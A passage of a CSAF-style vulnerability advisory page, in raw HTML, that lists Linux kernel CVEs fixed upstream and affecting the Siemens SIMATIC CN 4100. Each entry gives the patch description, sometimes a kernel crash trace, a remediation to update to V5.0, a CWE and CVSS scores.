4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39841\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: lpfc: Fix buffer free/clear order in deferred receive path Fix a use-after-free window by correcting the buffer release sequence in the deferred receive path. The code freed the RQ buffer first and only then cleared the context pointer under the lock. Concurrent paths (e.g., ABTS and the repost path) also inspect and release the same pointer under the lock, so the old order could lead to double-free/UAF. Note that the repost path already uses the correct pattern: detach the pointer under the lock, then free it after dropping the lock. The deferred path should do the same.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39842\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ocfs2: prevent release journal inode after journal shutdown Before calling ocfs2_delete_osb(), ocfs2_journal_shutdown() has already been executed in ocfs2_dismount_volume(), so osb->journal must be NULL. Therefore, the following calltrace will inevitably fail when it reaches jbd2_journal_release_jbd_inode(). ocfs2_dismount_volume()-> ocfs2_delete_osb()-> ocfs2_free_slot_info()-> __ocfs2_free_slot_info()-> evict()-> ocfs2_evict_inode()-> ocfs2_clear_inode()-> jbd2_journal_release_jbd_inode(osb->journal->j_journal, Adding osb->journal checks will prevent null-ptr-deref during the above execution path.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39843\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm: slub: avoid wake up kswapd in set_track_prepare set_track_prepare() can incur lock recursion. The issue is that it is called from hrtimer_start_range_ns holding the per_cpu(hrtimer_bases)[n].lock, but when enabled CONFIG_DEBUG_OBJECTS_TIMERS, may wake up kswapd in set_track_prepare, and try to hold the per_cpu(hrtimer_bases)[n].lock. Avoid deadlock caused by implicitly waking up kswapd by passing in allocation flags, which do not contain __GFP_KSWAPD_RECLAIM in the debug_objects_fill_pool() case. Inside stack depot they are processed by gfp_nested_mask(). Since ___slab_alloc() has preemption disabled, we mask out __GFP_DIRECT_RECLAIM from the flags there. The oops looks something like: BUG: spinlock recursion on CPU#3, swapper/3/0 lock: 0xffffff8a4bf29c80, .magic: dead4ead, .owner: swapper/3/0, .owner_cpu: 3 Hardware name: Qualcomm Technologies, Inc. Popsicle based on SM8850 (DT) Call trace: spin_bug+0x0 _raw_spin_lock_irqsave+0x80 hrtimer_try_to_cancel+0x94 task_contending+0x10c enqueue_dl_entity+0x2a4 dl_server_start+0x74 enqueue_task_fair+0x568 enqueue_task+0xac do_activate_task+0x14c ttwu_do_activate+0xcc try_to_wake_up+0x6c8 default_wake_function+0x20 autoremove_wake_function+0x1c __wake_up+0xac wakeup_kswapd+0x19c wake_all_kswapds+0x78 __alloc_pages_slowpath+0x1ac __alloc_pages_noprof+0x298 stack_depot_save_flags+0x6b0 stack_depot_save+0x14 set_track_prepare+0x5c ___slab_alloc+0xccc __kmalloc_cache_noprof+0x470 __set_page_owner+0x2bc post_alloc_hook[jt]+0x1b8 prep_new_page+0x28 get_page_from_freelist+0x1edc __alloc_pages_noprof+0x13c alloc_slab_page+0x244 allocate_slab+0x7c ___slab_alloc+0x8e8 kmem_cache_alloc_noprof+0x450 debug_objects_fill_pool+0x22c debug_object_activate+0x40 enqueue_hrtimer[jt]+0xdc hrtimer_start_range_ns+0x5f8 ...\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39844\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm: move page table sync declarations to linux/pgtable.h During our internal testing, we started observing intermittent boot failures when the machine uses 4-level paging and has a large amount of persistent memory: BUG: unable to handle page fault for address: ffffe70000000034 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: 0002 [#1] SMP NOPTI RIP: 0010:__init_single_page+0x9/0x6d Call Trace: __init_zone_device_page+0x17/0x5d memmap_init_zone_device+0x154/0x1bb pagemap_range+0x2e0/0x40f memremap_pages+0x10b/0x2f0 devm_memremap_pages+0x1e/0x60 dev_dax_probe+0xce/0x2ec [device_dax] dax_bus_probe+0x6d/0xc9 [... snip ...] It turns out that the kernel panics while initializing vmemmap (struct page array) when the vmemmap region spans two PGD entries, because the new PGD entry is only installed in init_mm.pgd, but not in the page tables of other tasks. And looking at __populate_section_memmap(): if (vmemmap_can_optimize(altmap, pgmap)) // does not sync top level page tables r = vmemmap_populate_compound_pages(pfn, start, end, nid, pgmap); else // sync top level page tables in x86 r = vmemmap_populate(start, end, nid, altmap); In the normal path, vmemmap_populate() in arch/x86/mm/init_64.c synchronizes the top level page table (See commit 9b861528a801 (\"x86-64, mem: Update all PGDs for direct mapping and vmemmap mapping changes\")) so that all tasks in the system can see the new vmemmap area. However, when vmemmap_can_optimize() returns true, the optimized path skips synchronization of top-level page tables. This is because vmemmap_populate_compound_pages() is implemented in core MM code, which does not handle synchronization of the top-level page tables. Instead, the core MM has historically relied on each architecture to perform this synchronization manually. We're not the first party to encounter a crash caused by not-sync'd top level page tables: earlier this year, Gwan-gyeong Mun attempted to address the issue [1] [2] after hitting a kernel panic when x86 code accessed the vmemmap area before the corresponding top-level entries were synced. At that time, the issue was believed to be triggered only when struct page was enlarged for debugging purposes, and the patch did not get further updates. It turns out that current approach of relying on each arch to handle the page table sync manually is fragile because 1) it's easy to forget to sync the top level page table, and 2) it's also easy to overlook that the kernel should not access the vmemmap and direct mapping areas before the sync. # The solution: Make page table sync more code robust and harder to miss To address this, Dave Hansen suggested [3] [4] introducing {pgd,p4d}_populate_kernel() for updating kernel portion of the page tables and allow each architecture to explicitly perform synchronization when installing top-level entries. With this approach, we no longer need to worry about missing the sync step, reducing the risk of future regressions. The new interface reuses existing ARCH_PAGE_TABLE_SYNC_MASK, PGTBL_P*D_MODIFIED and arch_sync_kernel_mappings() facility used by vmalloc and ioremap to synchronize page tables. pgd_populate_kernel() looks like this: static inline void pgd_populate_kernel(unsigned long addr, pgd_t *pgd, p4d_t *p4d) { pgd_populate(&init_mm, pgd, p4d); if (ARCH_PAGE_TABLE_SYNC_MASK & PGTBL_PGD_MODIFIED) arch_sync_kernel_mappings(addr, addr); } It is worth noting that vmalloc() and apply_to_range() carefully synchronizes page tables by calling p*d_alloc_track() and arch_sync_kernel_mappings(), and thus they are not affected by ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39845\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/mm/64: define ARCH_PAGE_TABLE_SYNC_MASK and arch_sync_kernel_mappings() Define ARCH_PAGE_TABLE_SYNC_MASK and arch_sync_kernel_mappings() to ensure page tables are properly synchronized when calling p*d_populate_kernel(). For 5-level paging, synchronization is performed via pgd_populate_kernel(). In 4-level paging, pgd_populate() is a no-op, so synchronization is instead performed at the P4D level via p4d_populate_kernel(). This fixes intermittent boot failures on systems using 4-level paging and a large amount of persistent memory: BUG: unable to handle page fault for address: ffffe70000000034 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: 0002 [#1] SMP NOPTI RIP: 0010:__init_single_page+0x9/0x6d Call Trace: __init_zone_device_page+0x17/0x5d memmap_init_zone_device+0x154/0x1bb pagemap_range+0x2e0/0x40f memremap_pages+0x10b/0x2f0 devm_memremap_pages+0x1e/0x60 dev_dax_probe+0xce/0x2ec [device_dax] dax_bus_probe+0x6d/0xc9 [... snip ...] It also fixes a crash in vmemmap_set_pmd() caused by accessing vmemmap before sync_global_pgds() [1]: BUG: unable to handle page fault for address: ffffeb3ff1200000 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: Oops: 0002 [#1] PREEMPT SMP NOPTI Tainted: [W]=WARN RIP: 0010:vmemmap_set_pmd+0xff/0x230 vmemmap_populate_hugepages+0x176/0x180 vmemmap_populate+0x34/0x80 __populate_section_memmap+0x41/0x90 sparse_add_section+0x121/0x3e0 __add_pages+0xba/0x150 add_pages+0x1d/0x70 memremap_pages+0x3dc/0x810 devm_memremap_pages+0x1c/0x60 xe_devm_add+0x8b/0x100 [xe] xe_tile_init_noalloc+0x6a/0x70 [xe] xe_device_probe+0x48c/0x740 [xe] [... snip ...]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39846\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: pcmcia: Fix a NULL pointer dereference in __iodyn_find_io_region() In __iodyn_find_io_region(), pcmcia_make_resource() is assigned to res and used in pci_bus_alloc_resource(). There is a dereference of res in pci_bus_alloc_resource(), which could lead to a NULL pointer dereference on failure of pcmcia_make_resource(). Fix this bug by adding a check of res.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39847\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ppp: fix memory leak in pad_compress_skb If alloc_skb() fails in pad_compress_skb(), it returns NULL without releasing the old skb. The caller does: skb = pad_compress_skb(ppp, skb); if (!skb) goto drop; drop: kfree_skb(skb); When pad_compress_skb() returns NULL, the reference to the old skb is lost and kfree_skb(skb) ends up doing nothing, leading to a memory leak. Align pad_compress_skb() semantics with realloc(): only free the old skb if allocation and compression succeed. At the call site, use the new_skb variable so the original skb is not lost when pad_compress_skb() fails.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-772 Missing Release of Resource after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39848\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ax25: properly unshare skbs in ax25_kiss_rcv() Bernard Pidoux reported a regression apparently caused by commit c353e8983e0d (\"net: introduce per netns packet chains\"). skb->dev becomes NULL and we crash in __netif_receive_skb_core(). Before above commit, different kind of bugs or corruptions could happen without a major crash. But the root cause is that ax25_kiss_rcv() can queue/mangle input skb without checking if this skb is shared or not. Many thanks to Bernard Pidoux for his help, diagnosis and tests. We had a similar issue years ago fixed with commit 7aaed57c5c28 (\"phonet: properly unshare skbs in phonet_rcv()\").\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39849\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: sme: cap SSID length in __cfg80211_connect_result() If the ssid->datalen is more than IEEE80211_MAX_SSID_LEN (32) it would lead to memory corruption so add some bounds checking.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39853\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: i40e: Fix potential invalid access when MAC list is empty list_first_entry() never returns NULL - if the list is empty, it still returns a pointer to an invalid object, leading to potential invalid memory access when dereferenced. Fix this by using list_first_entry_or_null instead of list_first_entry.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39857\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/smc: fix one NULL pointer dereference in smc_ib_is_sg_need_sync() BUG: kernel NULL pointer dereference, address: 00000000000002ec PGD 0 P4D 0 Oops: Oops: 0000 [#1] SMP PTI CPU: 28 UID: 0 PID: 343 Comm: kworker/28:1 Kdump: loaded Tainted: G OE 6.17.0-rc2+ #9 NONE Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.15.0-1 04/01/2014 Workqueue: smc_hs_wq smc_listen_work [smc] RIP: 0010:smc_ib_is_sg_need_sync+0x9e/0xd0 [smc] ... Call Trace: smcr_buf_map_link+0x211/0x2a0 [smc] __smc_buf_create+0x522/0x970 [smc] smc_buf_create+0x3a/0x110 [smc] smc_find_rdma_v2_device_serv+0x18f/0x240 [smc] ? smc_vlan_by_tcpsk+0x7e/0xe0 [smc] smc_listen_find_device+0x1dd/0x2b0 [smc] smc_listen_work+0x30f/0x580 [smc] process_one_work+0x18c/0x340 worker_thread+0x242/0x360 kthread+0xe7/0x220 ret_from_fork+0x13a/0x160 ret_from_fork_asm+0x1a/0x30 If the software RoCE device is used, ibdev->dma_device is a null pointer. As a result, the problem occurs. Null pointer detection is added to prevent problems.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39860\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: Bluetooth: Fix use-after-free in l2cap_sock_cleanup_listen() syzbot reported the splat below without a repro. In the splat, a single thread calling bt_accept_dequeue() freed sk and touched it after that. The root cause would be the racy l2cap_sock_cleanup_listen() call added by the cited commit. bt_accept_dequeue() is called under lock_sock() except for l2cap_sock_release(). Two threads could see the same socket during the list iteration in bt_accept_dequeue(): CPU1 CPU2 (close()) ---- ---- sock_hold(sk) sock_hold(sk); lock_sock(sk) <-- block close() sock_put(sk) bt_accept_unlink(sk) sock_put(sk) <-- refcnt by bt_accept_enqueue() release_sock(sk) lock_sock(sk) sock_put(sk) bt_accept_unlink(sk) sock_put(sk) <-- last refcnt bt_accept_unlink(sk) <-- UAF Depending on the timing, the other thread could show up in the \"Freed by task\" part. Let's call l2cap_sock_cleanup_listen() under lock_sock() in l2cap_sock_release(). [0]: BUG: KASAN: slab-use-after-free in debug_spin_lock_before kernel/locking/spinlock_debug.c:86 [inline] BUG: KASAN: slab-use-after-free in do_raw_spin_lock+0x26f/0x2b0 kernel/locking/spinlock_debug.c:115 Read of size 4 at addr ffff88803b7eb1c4 by task syz.5.3276/16995 CPU: 3 UID: 0 PID: 16995 Comm: syz.5.3276 Not tainted syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014 Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0xcd/0x630 mm/kasan/report.c:482 kasan_report+0xe0/0x110 mm/kasan/report.c:595 debug_spin_lock_before kernel/locking/spinlock_debug.c:86 [inline] do_raw_spin_lock+0x26f/0x2b0 kernel/locking/spinlock_debug.c:115 spin_lock_bh include/linux/spinlock.h:356 [inline] release_sock+0x21/0x220 net/core/sock.c:3746 bt_accept_dequeue+0x505/0x600 net/bluetooth/af_bluetooth.c:312 l2cap_sock_cleanup_listen+0x5c/0x2a0 net/bluetooth/l2cap_sock.c:1451 l2cap_sock_release+0x5c/0x210 net/bluetooth/l2cap_sock.c:1425 __sock_release+0xb3/0x270 net/socket.c:649 sock_close+0x1c/0x30 net/socket.c:1439 __fput+0x3ff/0xb70 fs/file_table.c:468 task_work_run+0x14d/0x240 kernel/task_work.c:227 resume_user_mode_work include/linux/resume_user_mode.h:50 [inline] exit_to_user_mode_loop+0xeb/0x110 kernel/entry/common.c:43 exit_to_user_mode_prepare include/linux/irq-entry-common.h:225 [inline] syscall_exit_to_user_mode_work include/linux/entry-common.h:175 [inline] syscall_exit_to_user_mode include/linux/entry-common.h:210 [inline] do_syscall_64+0x3f6/0x4c0 arch/x86/entry/syscall_64.c:100 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f2accf8ebe9 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ffdb6cb1378 EFLAGS: 00000246 ORIG_RAX: 00000000000001b4 RAX: 0000000000000000 RBX: 00000000000426fb RCX: 00007f2accf8ebe9 RDX: 0000000000000000 RSI: 000000000000001e RDI: 0000000000000003 RBP: 00007f2acd1b7da0 R08: 0000000000000001 R09: 00000012b6cb166f R10: 0000001b30e20000 R11: 0000000000000246 R12: 00007f2acd1b609c R13: 00007f2acd1b6090 R14: ffffffffffffffff R15: 00007ffdb6cb1490 Allocated by task 5326: kasan_save_stack+0x33/0x60 mm/kasan/common.c:47 kasan_save_track+0x14/0x30 mm/kasan/common.c:68 poison_kmalloc_redzone mm/kasan/common.c:388 [inline] __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:405 kasan_kmalloc include/linux/kasan.h:260 [inline] __do_kmalloc_node mm/slub.c:4365 [inline] __kmalloc_nopro ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39864\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: fix use-after-free in cmp_bss() Following bss_free() quirk introduced in commit 776b3580178f (\"cfg80211: track hidden SSID networks properly\"), adjust cfg80211_update_known_bss() to free the last beacon frame elements only if they're not shared via the corresponding 'hidden_beacon_bss' pointer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39865\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tee: fix NULL pointer dereference in tee_shm_put tee_shm_put have NULL pointer dereference: __optee_disable_shm_cache --> shm = reg_pair_to_ptr(...);//shm maybe return NULL tee_shm_free(shm); --> tee_shm_put(shm);//crash Add check in tee_shm_put to fix it. panic log: Unable to handle kernel paging request at virtual address 0000000000100cca Mem abort info: ESR = 0x0000000096000004 EC = 0x25: DABT (current EL), IL = 32 bits SET = 0, FnV = 0 EA = 0, S1PTW = 0 FSC = 0x04: level 0 translation fault Data abort info: ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000 CM = 0, WnR = 0, TnD = 0, TagAccess = 0 GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0 user pgtable: 4k pages, 48-bit VAs, pgdp=0000002049d07000 [0000000000100cca] pgd=0000000000000000, p4d=0000000000000000 Internal error: Oops: 0000000096000004 [#1] SMP CPU: 2 PID: 14442 Comm: systemd-sleep Tainted: P OE ------- ---- 6.6.0-39-generic #38 Source Version: 938b255f6cb8817c95b0dd5c8c2944acfce94b07 Hardware name: greatwall GW-001Y1A-FTH, BIOS Great Wall BIOS V3.0 10/26/2022 pstate: 80000005 (Nzcv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : tee_shm_put+0x24/0x188 lr : tee_shm_free+0x14/0x28 sp : ffff001f98f9faf0 x29: ffff001f98f9faf0 x28: ffff0020df543cc0 x27: 0000000000000000 x26: ffff001f811344a0 x25: ffff8000818dac00 x24: ffff800082d8d048 x23: ffff001f850fcd18 x22: 0000000000000001 x21: ffff001f98f9fb88 x20: ffff001f83e76218 x19: ffff001f83e761e0 x18: 000000000000ffff x17: 303a30303a303030 x16: 